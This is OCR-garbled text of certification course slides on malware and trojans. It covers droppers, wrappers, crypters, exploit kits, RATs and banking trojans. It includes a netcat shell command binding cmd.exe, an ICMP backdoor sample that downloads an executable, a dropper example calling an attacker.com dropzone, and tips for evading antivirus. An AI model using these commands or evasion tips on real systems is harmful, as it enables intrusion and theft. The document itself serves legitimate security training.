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Module Objectives

Introduction to Malware and Understanding the Malware
Malware Propagation Techniques Analysis Process

Overview of Trojans, Their Types,

Understanding Different Techniques
and How to Infect Systems

to Detect Malware

Overview of Viruses, Their Types,

and How They Infect Files Malware Countermeasures

Overview of Malware Penetration

Introduction to Computer :
Testing

Worm

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.

#EthicalHackx CEH v9 www.ethicalhackx.com EthicalHackx.com




#EthicalHackx CEH v9

www.ethicalhackx.com

IModule Flow

Introduction
to Malware

Malware
Detection
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Trojan Virus and Worm
Concepts Concepts

B |

Bt

Counter- Anti-Malware
measures Software
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Malware Reverse
Engineering

Penetration
Testing
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Introduction to VMalware

Malware is a malicious software that damages or disables computer
systems and gives limited or full control of the systems to the
malware creator for the purpose of theft or fraud

Examples of Malware

Trojan Horse Virus

Backdoor

RootKit

Ransomware

Adware

EthicalHackx.com
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Different Ways a Malware can
Get into a System

Instant Messenger applications Browser and email software bugs

IRC (Internet Relay Chat) NetBIOS (FileSharing)

Removable devices Fake programs
T —

Untrusted sites and freeware

Attachments
software

S — ——I———

Legitimate "shrink-wrapped" software Downloading files, games, and
packaged by a disgruntled employee screensavers from Internet sites
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Common Techniques Attackers Use
to Distribute Malware on the Web

Blackhat Search Engine Social Engineered
Optimization (SEO) Click-jacking

Ranking malware pages highly in search Tricking users into clicking on innocent-
results looking webpages

Malvertising Spearphishing Sites

Embedding malware in ad-networks that Mimicking legitimate institutions in an
display across hundreds of legitimate, high- attempt to steal login credentials
traffic sites

Compromised

Legitimate Websites Drive-by Downloads

Hosting embedded malware that spreads Exploiting flaws in browser software to
to unsuspecting visitors install malware just by visiting a web page

Source: Security Threat Repart [httpwww. sophos.com)
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Detection
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Trojan Virus and Worm
Concepts Concepts

B |

Bt

Counter- Anti-Malware
measures Software
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Malware Reverse
Engineering

Penetration
Testing
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Financial Loss Due to Trojans

According to the Symantec Survey 2014 report, nearly every flavor of financial
institution is targeted, from commercial banks to credit unions

Canada
142K

USA
970K

Germany
278K

Australia w
114K

hitp//www._symantec. com
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How Hackers Use Trojans

ete or replace operating Disable fire:
system’s critical files and antivirus

Generate fake traffic . Create backdoors
to create DOS attacks to gain remote access

Record screenshots, Infect victim's PC as
audio, and video of a proxy server for
victim’s PC relaying attacks

Use victim’s PC for spamming Use victim’s PCas a
and blasting email botnet to perform
messages DDoS attacks

ad spyware, Steal information such as
adware, and security codes, credit card
nalicious files information using keylogger
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Common Ports used by Trojans

Trojan Trojan

o

Shivka-Burka

Death

R serva sov

Blade Runner, Doly Trojan, Fore,
Invisible FTP, WebEx, WinCrash

IREZR shaft
3 Tiny Telnet Server
Antigen, Email Password Sender,
Terminator, WinPC, WinSpy,
Hackers Paradise
Executor

SpySender

Shockrave
BackDoor 1.00-1.03

Trojan Cow

Ripper

Iiiw:lnn Mailer, Nirvana
Ini-Killer, Phase Zero, Stealth Spy m Masters Paradise

m Satanz Backdoor m The Invasor
S|Ienl:er WebEx m WinCrash
EI::-h_.r Trojan File Nail 1

Iﬂ!ﬁ-ﬂl RAT ICOTrojan

m Psyber Stream Server, Voice

U!tnrs Trojan
SubSeuen 10—-18

m VooDoo Doll

TCP Wrappers Trojan

Hackers Paradise

S Bubbel

PETTERN sockets de Troie

Firehotcker

L i1 Blade Runner

www.ethicalhackx.com

Robo-Hack

DeepThroat

GateCrasher, Priority

Remote Grab

ST NetMonitor

Sy O [CKiller

- BackOfrice 2000
| Portal of Doom

Coma1.09
Senna spy

BTN rrogenic o

12213 Hack 99 Keylogger
m GabanBus, NetBus

Whack-a-mole

priciy
m Millennium

NetBus 2.0, Beta-
i MNetBus 2.01

EthicalHackx.com

CEH

Cortified B Ethical Hschar

Trojan
GirlFriend 1.0, Beta-1.35

Prosiak
Evil FTP, Ugly FTP

Delta

M'EZ NetSphere 1.27a
3133?—33 Back Orifice, DeepBO

NetSpy DK
BOWhack

Prosiak

AL

BigGluck, TH

=
]
Ln
=]
=

LN TSI BTN Masters Paradise
B et
m Sockets de Troie

Remote Windows
m Shutdown
BEIEEE schoolBus .69-1.11
Telecommando
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How to Infect Systems Using a clEH
Trojan i s e

01 Create a new Trojan packet using a Trojan Horse Construction Kit

02 Create a dropper, which is a part in a trojanized packet that installs the malicious
code on the target system

‘\\]
( Example of a Dropper

Installation path: c\windows\system32\svchosts.exe
Autostart: HEIM\ Software\Mic_.. . \run\Iexplorer.exe

Malicious code

Client address: client.attacker.com
Dropzone: dropzone.attacker.com

Attacker Malicious Code A genuine application Wrapper

File name: chess.exe
Wrapper data: Executable file
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How to Infect Systems Using a
Trojan (Contq)

03 Create a wrapper using wrapper tools to install Trojan on the victim's computer
04 Propagate the Trojan
05  Execute the dropper

06 Execute the damage routine

Dropper

....... i

—
-E_-Drupper

: drops the
ag TrOjan
b

Trojan Packet

E R E = ™ :.-
chess.exe . : :

Wrapper
PP Trojan code execution

IEEIENAEN NN NN NN R
'l
. -
-
[
-
L
&
L]
[l EEEEREEEEE

Attacker
Victim's System

NI IS EE AN N NN NN EEERR AR e
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Wrappers

W e s ‘When the user runs the
% rrapped EXE, it first
“installs the Trojan in
the background and
then runs the wrapping
application in the
foreground

rojan executable

The two programs are
wrapped together into
a single file

EthicalHackx.com

< n

.+ Chess.exe Trojan.exe
i File size: 90K X File size: 20K

Ll
5

Chess.exe
File size: 110K
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Dark Horse Trojan Virus Maker

(>DarkHorse Trojan Virus Maker 1.2)

Client Name |

Trojan Virus Maker

B VWebcam Streaming B Eroken Mouse B Hot Computer

B ~udio Streaming B Hide Desktop icons [l Overloaded Files
B Crazy Mouse B ++CCVirus B Hot Machine

B Lock Window Live B #C Virus B Remove Documents

B slock All Websites B Flocd Large Files B Gemove Videos
B Dizable Desktop Icans B Flood Control Error [ Remove Music

Virus Warnings

Slow Down Computer Speed
Disable 5tart Button

Disable Task Manager
Disable CMD

Disable Morton Antivirus

B Remove Desktop Background [l Memory User B EBeeping Noise Disable Avg Internet Security

B Disable Administration B Disable Process B Broken Keyboard Stare Virus

Trojan Force
B shutDown Computer {1 Minute)

Show Code Text

[l Restart Computer (1 Minute) Name: | |

B LogOff Computer (1 Minute) Create As Text File
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Crypters: AIO FUD Crypter, Hidden
Sight Crypter, and Galaxy Crypter

Crypter is a software which is used by hackers to hide viruses, keyloggers or tools
in any kind of file so that they do not easily get detected by antiviruses

AlO FUD
Crypter

Alp
Crypter
Binder
E;-rl:en:.ion Spoofer
Obfuscator
Downloader
Icon Changer

Bitcoin Miner

#EthicalHackx CEH v9

www.ethicalhackx.com EthicalHackx.com

Hidden Sight Galaxy
Crypter

o LEL L o ST PTAT
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Crypters: Criogenic Crypter, clEH
Heaven Crypter, and SwayzCryptor | ..|- ..

' HEAVEN BRYPTER

Criogenic
Crypter

Criogenic Crypter 0.3 el gl I 28|

| =ne | SwayzCryptor 6

Features:  Obfuscation

Encrypt

| Coded By LethalHackz Coded In-  VBNET
GFX By LethalHackz GFX: PSCS55
Visit by Youiube

B== _———— _— =

— - Status: ldle

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.

#EthicalHackx CEH v9 www.ethicalhackx.com EthicalHackx.com




#EthicalHackx CEH v9 www.ethicalhackx.com EthicalHackx.com

How Attackers Deploy a Trojan

Major Trojan Attack Paths:

R £ Deeioin alpe M SEICT I IR == & User clicks on the malicious link

E ETRETS Derdain L ﬁ

| b Eppe Sitew Uernisy, March T3 I8 (530 A0 |

I i Ak € User opens malicious email attachments

Apple Store -
:llIIll'll.I ca|l1w“r_ﬁPFLE I [ ERS R TR R RN RN TR R RN RN RN R AR
x The Trojan connects to

Dear Customer Link to Trojan Server : the attack server

I
TG i This mdes] up-1o-date SIS and malEClRgal s WOl
Apple Onling Store orded, sl onbing you
it

| Yo con sleo contact Apple Store Castomer Servios ot 1-300-676-2775 or vant calne for
mage sfommaton

Attacker sends an email
| to victim containing link
Yol 1t Appde Tainag Siom 2 perchdes Appie hardwar, aafmsace, BvE Bl 2acty peenaner £
T Bertnfige By phine, pasns el 8800 MY APFLE to Trojan server

FESEEAE IS NSRS R R EEE R

Victim clicks the link and
immediately connects to
Trojan server in Russia

Victim
Internet

Attacker installs S
the Trojan infecting 2

samssnssansf

his machine Trojan Server

-
.

- =

.

AR AR R R R R RN R R R R R R N R LR R L R P NN TN NP AR AN R L LR

Trojan is sent to the victim
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An exploit kit or crimeware toolkit is a platform to deliver exploits and payloads such as Trojans,
spywares, backdoors, bots, buffer overflow scripts, etc. on the target system

Legitimate
Visits website hosted on
} o Iegltlmate weh51te compromised web server

9 ,____

Legitimate o Compromised
Website N Web Server

Exploit kit gathers
Victim 2 . information on the victim
and delivers the exploit

Victim lands at a exploit
kit server hosting the

",

s exploit pack landing Exploit Kit  Exploit Pack
Page Server Landing Page
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Exploit Kit: Infinity

EHECHIR CPEOCTRS AW AREAYET D50ET 18

MononHeHwe GanaHca

——
Nouuesanme:  Bor sendce (ceder S
Cyuua [ |5

W A nogreeqmgans, 410 CoBEpmIE [AkNLH NEEEE0.

MomonsmAn Ganatc
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dafnm

MoToKM

pa ceppepe: N  ~ocarr S Ganac 0 Braxiy |

faTd MO0 NIESETCH, E

Npobae

DA

He cepas pe NN

Onnara  [[EEIEEIEE

THrxeTel

Afdpeca

anpeca amwevoc ity D I

ComT I0NnHIT

N ———

EthicalHackx.com

So—
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Exploit Kits: Phoenix Exploit Kit
and Blackhole Exploit Kit

Phoenix Exploit Kit Blackhole Exploit Kit

¥ Phoenix Exploit's Kit

3.1 full

f
Adeanced browsers statictics
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Explmt Kits: Bleedmgllfe andr
Crimepack :

BLEEDINGLIFE 2. 2

SECURITY SETTINGS EXPLOIT SETTINGS

Admin Usarnems: Imabie Lxpladis:

Crimepack

A rraim P avwerad

S Py e—
SRVE SETTINGS

T 9 LI i B B
i |
A T gEar Guwat & = 3 T | i« RITRESI  RITERBERS = O S ¢ BLRCELET CHICK » DOWRADADER » IFREME: CLEAR 514&TS = SETTMGS = LOGOUE

Cemendl P svwrord;
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dectiied || Exhleal Hacker

Break the Trojan file into multiple pieces and zip them as
single file

ALWAYS write your own Trojan, and embed it into an application

Change Trojan’s syntax:

2 Convert an EXE to VB script
& Change .EXE extension to .DOC.EXE, .PPT.EXE or .PDFE.EXE (Windows hide
“known extensions”, by default, so it shows up only .DOC, .PPT and .PDF)

Change the content of the Trojan using hex editor and also change
the checksum and encrypt the file

Never use Trojans downloaded from the web (antivirus can detect
these easily)

_.f'_;'ﬁpvright © by EG-Council. Al Hiﬁhtslli;-ﬁ'éﬁk;ﬁ.':ﬁ gproduction is Strictly Prntri;:a-'tem
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Types of Trojans CIEH
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Ll - . o ¥
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Trojan i Trojan

*s

“i
-
-

ans®
"l'

& -
LT
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* =
* = 2 N : 2 . s - . *
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Command Shell Trojans | C[EH

Coriifbed B Ethical Hachar

J Command shell Trojan gives remote control

C:\v»nc_exe —h

i : i |
of a command shell on a victim’s machine [v1.10 T}

nc [-options] bostoemes port[s] [ports] ...
ne -1 -p port [options] [hostoeme] [port]

, o ol
- Trojan server is installed on the victim's R B et

machine, which opens a port for attackerto | | e il

connect: The clientis installed on the 3 R ey g o M e
1 7 . . 1 i delay interval for lines sent, ports scanmed
attacker's machine, which is used to launch listen mode, for inhound commects

listen harder, re-listen on socket close

a command shell on the victim’s machine _ mmeric-only IP addresses, no DNS
bhex domp of toaffic

—

.
-
-

C:> nc <ip> <port>
C:> nc =L =-p <pprt>

-t —e cmd.exe
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. Defacement Trojans

Resource editors allow to view, edit, extract, and replace
strings, bitmaps, logos and icons from any Window program

It allows you to view and edit almost any aspect of a
compiled Windows program, from the menus to the dialog
boxes to the icons and beyond

They apply User-styled Custom Applications (UCA) to
deface Windows application

Example of calc.exe Defaced is shown here

View Edit Help

EthicalHackx.com

Original calc.exe

B r =

Defaced calc.exe
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Defacement Trojans: Restorator C|EH

Cortified B Ethical Hschar

File Resources Viewer Edit Tools Help

>>‘ 'm@% %E}‘fgﬁm@ Flazhfne-wa:i@_“ @ll i‘ ‘i "%‘.’" 3""‘” ﬂ

Resource Ties Fesouce Viewe: | Fla Browser

("] Unlitled0.res 1
a '-_l-j Urititled.rc
=y Bitma | | =
2l - = 1 L "EM“; ) Showe Tookips [defaul]
nd A o Allow multiple Festorstion mstances
E’ﬁhﬂ:“ 8 Fomes -_r‘:‘-hcw sphash soreen on stat
Shell Int g. || Keep Restorabor Window abvays on top
e (V] Ak for Folder, when assigning/estiacting ol [defaull]
Teut Edior Numbes of tecently used files in fle mer
Fie Browser 10 =

FCFiles =
Audvanced Murnbes of recentl found fles m file memu

2 |

-

Bitmap\A\English (United States) Empty Resource 2 open files
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Botnet Trojans

. Botnet Trojans infect a large number of computers across a large
geographical area to create a network of bots that is controlled through a
’ Command and Control (C&C) center

J Botnet is used to launch various attacks on a victim including denial-of-
service attacks, spamming, click fraud, and the theft of financial information

.

4

Company
Website

Botnet C&C
Server
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C|EH

Tor-based Botnet Trojans:

ChewBacca e e

ChewBacca

ChewBacca Trojan has stolen data
on 49,000 payment cards from

45 retailers in 11 countries over
a two month span
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Botnet Trojans: Skyvnet and
’ . CIEH

CyberGate i s e

B Recent work submissions B Recent failed work submissions

Worksr | Paal Hasuh Fims Waerkosr | Popd 1im=

@ Worker status

Worbed | Lot waowk ruguis

Ciack by Tha Uk
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. Proxy Server Trojans

/ Trojan Proxy is usually a standalone application that
W . allows remote attackers to use the victim’s computer
“ as a proxy to connect to the Internet

Proxy server Trojan, when infected, starts a hidden
proxy server on the victim’s computer

Thousands of machines on the Internet are infected
with proxy servers using this technique

e 2

Attacker Victim {Proxied) Internet

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.
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Proxy Server Trojan: W3bPrOxy
Tr0j4nCr34t0r (Funny Name)

W3bPrOxy TrOj4n is a proxy server Trojan which support multi
connection from many clients and report IP and ports to mail
of the Trojan owner

EthicalHackx.com
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C|EH

Cortified § Dthlesl Tackor

Send me FTP Server

c:\crediteard. txt file volume in drive C has no label.
- - ol Voluss Sarisl Hmbar ia DASE-SFEE Dirsctary of [

S TILL T . .} = (ETP Server oo i et
installed in the 09/06/3014 O sba, txt
08/24,/2014 <DIR> AdventHat
T background) 05/21/2014 0 AIGEXEC.BAT
Here is the requested file 05/21/2014 0 CONFIO.EYS
06/04/2014 <DIR> Dats
08112014 <DIR> Documants and

Mo

FTP Trojan: TinyFTPD

FTP Trojans install an FTP server Command Prompt
on 'H'l.E =, .. ;s mad'linE', w‘hiﬂh C: '\D:Tﬂ- and S=ttings'\Adwin\Desktoph\TinyFTPD 21 55555 test best o:)
FTP Tiny FTPD V1.4 By WinMgelrop

m pum PFTPF Server Is Started

Control Fort: 21

BindPort - 55555

UserBHome - test

Password : te=t

HomeDir: o \windE

Allowd IP-: all

Local Address: 192 168.168.16

BendRrress: Yex

An atta'c.ker can t‘h!n m."nect to Writefccess: Yes

r LIstArcesx: Yex
AT : :
the victim's machine using FTP CreateAccess:  Yes
o . Deletefccess - Yex
port to download any files that P
T 5 I, . TInlockfccess - Ho
exist on the victim's computer AR
Check Time Dot Thread Created Soccessfally
AXXEXXXXAFEEEEY Waiting For Hew Connection *ddtdsrtsdisss
0 Coomection Is In Ose
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VNC Trojans ClEH

Coriifbed B Ethical Hachar

VNC Trojan starts a VNC Server daemon
in the infected system (victim)

Attacker connects to the victim using any
VNC viewer

Since VNC program is considered a utility, this
Trojan will be difficult to detect using anti-viruses

Command and
control instruction

WNC Traffic
VML Server

Copyright © by EG-Cauneil. All Rights Reservad. Raproduction is Strictly Prohibitad.

#EthicalHackx CEH v9 www.ethicalhackx.com EthicalHackx.com




#EthicalHackx CEH v9

VNC Trojan: Hesperbot

&

ScC am_EmaiI

Zasilka.pdf.exe
(packed binary)

#EthicalHackx CEH v9

www.ethicalhackx.com EthicalHackx.com

. Hesperbot is a banking Trojan which features common functionalities, such as
keystroke logging, creation of screenshots and video capture, and setting up a
remote proxy

o It creates a hidden VNC server to which the attacker can remotely connect

J As VNC does not log the user off like RDP, the attacker can connect to the
unsuspecting victim’s computer while they are working

Ty

ICore|

--J

I'—‘I

( Count_of sections 4 | Machi e
Explorer.exe symbol table 00000000[00000000] Thu Aug OB 11:07:54 2013
Size of opticnal header Magic
i Linker version 9. 05 version :

Image version y Subsystem version
Entry paint Sizae of coda

Size of init data Size of wninit data
Size of Tmage Size of header

Base of code Base of data

image base Subsystem

Section alignment 0001 File alignment
Stack OOL00000,/ 00000 | Hea

Checksum 00000000 | Number of dirs

} --‘

Dropper

=ErrTng
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HTTP/HTTPS Trojans CEH

Coriifbed B Ethical Hachar

Bypass HTTP Trojans can bypass any firewall and work in the
Firewall reverse way of a straight HTTP tunnel

Spawn a They are executed on the internal host and spawn a
Child Program  child at a predetermined time

Access the The child program appears to be a user to the firewall
Internet so it is allowed to access the Internet

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.
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Infect the victim's computer with
s=rver axe and plant HTTP Trojan

----------------------.---.-...-...........................}

T I

The Trojan sends an email

latest version herer [WipCAfrsanat am/ sombie] ) j
s = with the location of an IP address

rellings e E R e R R R e S e 1=
¥ send notification vtk ip addiess ta mal .

SMTP sorver £ serding mad - =
u can speciy severs servers delimiled with . ' i
;,J-_'-i_.__.,i“__-_'-_._5-_|_,!-|_--_5- v | i . =N SRS ETE NI NN RN NN |-}

your amsl adcbess Connect to the IP address

freu@mal com ! using a browser to port 80

¥ cloge Fusw sk ] :.ml:i.:l:':l.'i

Creain Fut |

A
Generates : e — Displays ads, records personal

Servear . exXs E o= 2 N 10,0,0, 10 datﬂka?StrﬂkES
using HTTP RAT : . . .
- Downloads unsolicited files, disables
programs/system
Floods Internet connection, and
distributes threats

Tracks browsing activities and hijacks
Internet browser

Makes fraudulent claims about spyware
detection and removal

Attacker
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Shttpd Trojan - HTTPS (55L) @

SHTTPD is a small HTTP Server that can be embedded inside any program

It can be wrapped with a genuine program (game chess . exe), when
executed it will turn a computer into an invisible web server

Normally Firewall allows
Attacker you through port 443
IP: 10.0.0.5:443 IP: 10.0.0.8:443

Encrypted Traffic Vietim

Connect to the victim using Web Browser Infect the victim’s computer with chess . exe
http://10.0.0.5:443 Shttpd should be running in the background
listening on port 443 (SSL)
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ICMP Tunneling

Covert channels are methods in which an attacker can hide the data in
a protocol that is undetectable

They rely on techniqgues called tunneling, which allow one protocol to
be carried over another protocol

ICMP tunneling uses ICMP echo-request and reply to carry a payload
and stealthily access or control the victim’s machine

= —rErr
L =

% (Command: lcmpsend (Command:
icmpsend <victim IP>) icmpsrv —install)

Command Prompt > 88 Command Prompt

C:\Voermnents and SettiogsiAdming stostor \WINDORS, Desktop’,
IMP Backdoor Wind2»iemp=end 127.0.0.1

I:.' “] ICMP Client ICMP Trujan: E3 ICMP Server

C:\lormments and Settdngs' Aded nd stretor, WTHDINES \ Desktop?,

ICHP Backdoor Win3Zsirmpsre —install
=——Nelcome to wew. hackerwfiles net——— Commands =—Neloome to www_hackerxfiles pet——
——[ IHMP-Cmd wl.0 beta,

L Eamiis e T are sent using -—I ICMECmd v1.0 beta, by geisone  1-—

—I 2003/8/15 ICMP protocol =1 E-mnil- geizonefhotwnil. com b=

1—- —I 200378515

Usage: icepsemnd BemotelP 1—

Cixl+C oxr Ofg to Quite H/h for help Usage: icmpsrey —install] <to install]l services
ICHE-CHDc-H Iompsrv —remove <to ISmove SeIvices
[http: /7127 0.0 1/ back ewe —mdwin . exe] “Downlond Files._ Tran=mitting File .. Soccoess !

Parth is \\system 3=

[pslist] “hist the Process>

BEssE s E .

Creating Service . Success !

Startimg Serviee _ Pemndimg . Socress !

C:\Docoments amd

Settings \Adwi ni stratoryFIHDOWSY, Desktop\ ICHE Backdoor
Wind2
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Remote Access Trojans

Attacker gains 100% {complete)
access to the system

Jason Attacker Rebecca Victim
Sitting in Russia Infected with RAT Trojan

Infect (Rebecca’s) computer with server.exe
This Trojan works like a and plant Reverse Connecting Trojan

remote desktop access The Trojan connects to Port 80 to the

Hacker gains complete attacker in Russia establishing a reverse

connection
GUI access to the remote

system . Jason, the attacker, has complete control
over Rebecca’s machine
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Remote Access Trojans:
Optix Pro and MoSucker

Ciptix Pro vi1.32 Client

=l Client Settings |
[} Server Options r _F_L_'”EET!'__ e —
= Maragers | Flash Keyhoard Lights | | Show Clock
[ Communications | —_— =
-+ Spy Tools = =
I E e [ Close CD i || Moritor On

—iGet Password I . = -
B e f Show Start Button | | Mornitor © MoSucker 3.0 =
I Client Seftings | Hide Stan Button | Initigte Screen ®

: . I: Case

Upen .o Hide ook

MoSucker

b diin | Swap Mouse Buttons | [ Deadlivate Scrae

- Keyboard
tCam Caplire | Resiore Mouse BUTTONS r Server ID: | SA0TATSIGSEZIC: 209560000 HOWED [I]

L Send Keys (O Cypher Key:  NTXFY29832FYGHHB 16109 2
Humor/Fun Stuff T = |
e T ¥ictim's Name:
Server Mama(s):  kernel32, mecOnfig winexec32,netconfig,

Extensinn(s):  exe.nif bat,dii, jpe,com, bog,xtr, b,

Connection-port: (4288

[+ Prevent same server multi-infections (recommended)

Opt iXx Pro [ Puprmn ) _ . _ You may select a windows icon to assodate

with your custom fle extanson fs.
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Remote Eccess T1'01ans- P
BlackHole RET and SSH - R E L

EthicalHackx.com

The Client System... Be warned cause that what you do is illegal...
_ Ask for Admin Pass L | Send Message

I‘_'Ium_n_MTﬁlm Pass

Conne et Make display dark

Add to Startup
Era.u Acthity
Take Snapshor

Mass open
[y i eFade HL Flood HD with

wrrsall fles

medisem fles

| = | i
-

BlackHole RAT
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Remote Access Trojans: njRAT
and Xtreme RAT

5552 | OmlinefQ

|
MHame =

VicTim Hame
HacHed

Xtreme RAT

§
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Remote Access Trojans: DarkComet
RAT, Pandora RAT, and HellSpy RAT

DarkComet RAT

= s il |
B, |lsars "'f': OnConpect | ] Useeslogs | —° ‘Sockat | Not e wJ
| 9

Lisken b rev part (Hiisten) P [05.50 & | % FaMUsed | LanguagsiCountry | A C.lPing | 1de

Pandora RAT

| Embedded FTP Ciert XD Pandora RAT Clent 2.2 [Beta] / Onine Lsers © 1

Sarver moduie (B57 .50 KB) L ﬂ urimalek (Quick)
*  Edi& sorver devrioader (2KiD) B Full sdibar (Expart)
About DarkComet-RAT V5.3
A problem ¥ Show help
4 Bury WP Account (onky 208)
Exk the software

I et o B N]

FaroMabasrs © JOLD || Toded ke dartdbu fatnradoe

HellSpy RAT
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Remote Access Trojans: ProRat
and Theef

PC Inda i . .
Message [ ] .
2 : . Ay Theef
Funry Stuff 0
|E sploges Search Files . \
Contral Faral Reguobny : { -5 p Connect
Shut Down PC| Screen Shot ( :
Cipboard | KeyLogger Jow INU 8 locaie - Port 6703 | FTP 2968
Give Damage | Passwords - NaY o 8a s
R Downloder | Run & AR AR Disconnect
Prirites Senvices
Oriires Editar IFruEwmt:l.'n't
Creale |

ProRat
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Remote Access Trojan:
Hell Raiser

Hell Raiser allows an attacker to gain access to the victim system and send pictures, pop up chat
messages, transfer files to and from the victims system, completely monitor the victims operations, etc.

e N pmoilig bl ——adusnzad N ] s b aman = dns o ouaEm o o apmighn o adissdsd

Dix a7 i Chal merface
4 WACTY# MACCHIARDE | UekGlH iR
MaCy Mi
MACE
MALCS
MATS
MACE
MACE

MALS

SET VICTIRNS W DO

Vichm's parameaters

ISCOMNECT tn addeags:  lo€sthast DISCONNECT

—_—
rnmirel #xeeary daha iranidar |

E

comstal averis | dICE Haskler

ihex Ebsman MiEsh
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Remote Access Tool: Ateliex Web
Remote Commander

remote connection to the remote machine without installing any
supporting software on the machine

£
/@ Atelier Web Remote Commander (AWRC) allows you to establish a
gy y ©

'. - T10.00.11 : Atelier Web Rernote Commander 10 (CLASSIC)
Fite. Tools Help

DerRitogy Syslnfo S e Wi Fle System Lers and Grous Chat

[ (2]

oF Pastest v |4 110% » B2 Mondors - :':E_ - :E:x B r: [ = | ,I‘E :I_-.:aq*!'L

Remate Hast Usar Name Progress Repart
1.0,11 Adrimsiradon i1 1119 Linat
; Password
%, Connect A Disconnect

=

[

Kytes By 72288 s s Cormection Durabon: & Moutes, 449 Sscon

ﬁ!‘tﬁy’}umu.a’i‘eﬂem‘eb.mm
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Covert Channel Trojan: CCTT | C|EH

Loriifbed § Ethical

els in theﬁta streams auﬂimzed by a network access ountrnl system

o A —et

It enables attackers to get an external server shell from within the internal network and
vice-versa

-

S S S - 3

;lts“éh a / ] - allowing TCP data streams (SSH, SMTP, POP, |
.-.-} betwenan e::temnl server and a box from within the internal network ]

el Y e —r =

1 through HTTP
proxy chain

Firewall
Proxy Chain

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.

#EthicalHackx CEH v9 www.ethicalhackx.com EthicalHackx.com




#EthicalHackx CEH v9 www.ethicalhackx.com EthicalHackx.com

E-banking Trojans

- e-banking Trojans intercept a victim's account information before it is encrypted and sends it to
the attacker's Trojan command and control center

- It steals victim's data such as credit card related card no., CVV2, billing details, etc. and transmits
it to remote hackers using email, FTP, IRC, or other methods

Uploads malicious (E—— Publishes malicious
advertisements [ advertisements on a legitimate websites

P P oS sy S AR > |
&orrnnnnnn canusamsissnanses asusanene .

r‘-.-’lah-.,;are Server Legitimate Websites
Attacker . * Victim is
6 Trojan gets downloaded and . directed to
installed in to the victim's system malware server

EEESES RSN EEE R LR ILELEL S

User access to a
legitimate website
and clickson a
Trojan reports as a new bot malicious Ad

L T T e P PP PP P I T L_ -
—__ Instructs Trojan to track victim's access to bank account j a

{Iliﬂtl!l EEEEEEEEEEEE

RSN R R R R T N N I N AL AT L) "--u_"_‘i"_‘ .‘ i

Trojan reports victim's activities . Llser $
IIIIIIllIl.lIIII'JIIIII‘IIIIIIIIIIJIIllll'llllllll']ll.lll'l 9 l-lll‘ A

-|-|-|-|--|--|---1--n--1-||-|-|-|-|1----|--1--H----ruvu-uvq-----v-n----r-vu|-|--|--|-|----|--|--|--'

Comman d an d Instructs Trojan to manipulate victim’s bank transaction
Control Server

Manipulated value :
Transfer 51,000

Financial Institution

User: Transfer 5100 \ l:l'_l.

= .Illli 11 ,IIIIIII:
Reports about successful ffailed transaction ‘
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Working of E-banking Trojans

TAN 8 Trojan intercepts valid Transaction Authentication Number (TAN)
Grabber entered by a user

It replaces the TAN with a random number that will be rejected by the
bank

Attacker can misuse the intercepted TAN with the user’s login details

HTML Trojan creates fake form fields on e-banking pages
Injection " _
Additional fields elicit extra information such as card number and date

& of birth

>

| @

Attacker can use this information to impersonate and compromise
victim's account

Form
Grabber

Trojan analyses POST requests and responses to victim's browser i f/r

It compromises the scramble pad authentication

Trojan intercepts scramble pad input as user enters Customer Number
and Personal Access Code
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E-banking Trojan: ZeuS and SpyEye

J The main objective of ZeuS and SpyEye Trojans is to steal bank and credit card
account information, ftp data, and other sensitive information from infected
computers via web browsers and protected storage

d  SpyEye can automatically and quickly initiate an online transaction

B+ Zous Control Panel

Irfoemnabon Ernlicier
Config and lsder bulding

Logs decoder Source config file:

Cr\Doouments and SettngeikohayashiiDeskoopiTrovano_Zeust | Srowss... |

[ Edeconty | [ Budcorig | [ Guldloader |

Okt

Lmtmtﬁ:ﬂlﬁ |l A -
FTP . Settings\kobaysshiiDeskiop| Troyeno_Zeus| ReuSiocdiconfig. tat'. .
wl Find INFO |y Statistic Wt FIE 55 Settings . afrmidren ! v

- BOA * Certificat : Creating loader fiie 'C:\Documents and
- m "P‘.;..Eu" ﬁﬁrﬁ&er L u-..ut-.r' ] SettngsiKobmyashijDesktop| Troyena_TeuSidr pxe',

« botret=[MAIN]
sl i e
o) L
e ks ] 200000, S0000
ol _cordigehitp: 205, 142, 10, 2frqurtrayfveebyicfg, bin
Gl bosts wrl_compip=httpiffwhatisemdp, comf
Buld succeaded)

Gast Stalisti
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E-banking Trojan: Citadel Builder
and Ice IX

e Citade] Builder - o HEH

CE o9 . =
e & Citadel1f &8

i B Unlversal Spyware Systam <
Current verson Information about ackve bot
Vergion: 1.3.5.1 Encryption key:

Budd tme: 19:14: 14 08,11, 2012 GMT o
Signature; BaNNED 248 ICE Ix
Liogen key: C IF200234085 190554, 7Da5%8 7T0F BOFFF T —

] lce IX ver. 1.2.6 - = IEN

Configuration
Source configuarton file: Bot's settings
C:\Usersohn \Downloads \Oitadel. 1. 3.5, 1-BahEDCitaded, 1 Setting’s path: htig: /J pourchomain. com/fronfigodex.php

Brovwcse. .. Edit..
Botnel's name: L=
Busid the bat configuration Busid the bot fes -proacy
Cetting's retrieve tmeout: | &0

keylogoer. processes shank. exe; jJava, exe & P . S
s g base Statebcs retrieve bmeout: | 10
wideo.quality=1

wideo. length =600
fie_vweherpects sinjects. ot
Busiding the HTTP njects....

O mhittps: e, welsfange. com

R4 encrypiion key: kay

Remowe certificates | Disable TCP Server

Busld bot
BUILD SUCCEEDED!

Setting’s file: | C:\sers\John\Dowrloads CET Choose setiing's fie

Buid bol's settings

Citadel Builder

Chedk if your PC ks infected entering A.C4 encryplion key
RC4 encryplion key:
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Destructive Trojans: M4sT3r
Trojan

M4sT3r is a dangerous and destructive
type of Trojan

# The user will not be able to *
the Dpeﬁting g e

" When executed, this Trojan destroys
the

M4sT3r Trojan
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. Notification Trojans

® Notification Trojan sends the location of the victim’s IP address to the attacker

® Whenever the victim’s computer connects to the Internet, the attacker receives
the notification

SIN MNotification Directly notifies the attacker's server

ICO Notification MNotifies the attacker using ICCQ. channels

Sends the data by connecting to PHP server on

PHP Notification
the attacker's server

E-Mail Notification  Sends the notification through email

Victim L Net Send MNotification is sent through net send command
Infected with

i : ! : Sends the data by connecting to PHP server on
Trojan ; CGl Notification v g

the attacker's server

IRC notification Motifies the attacker using IRC channels
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Datd Hiding Trolans (Encrypte C E H
Tro] ans)

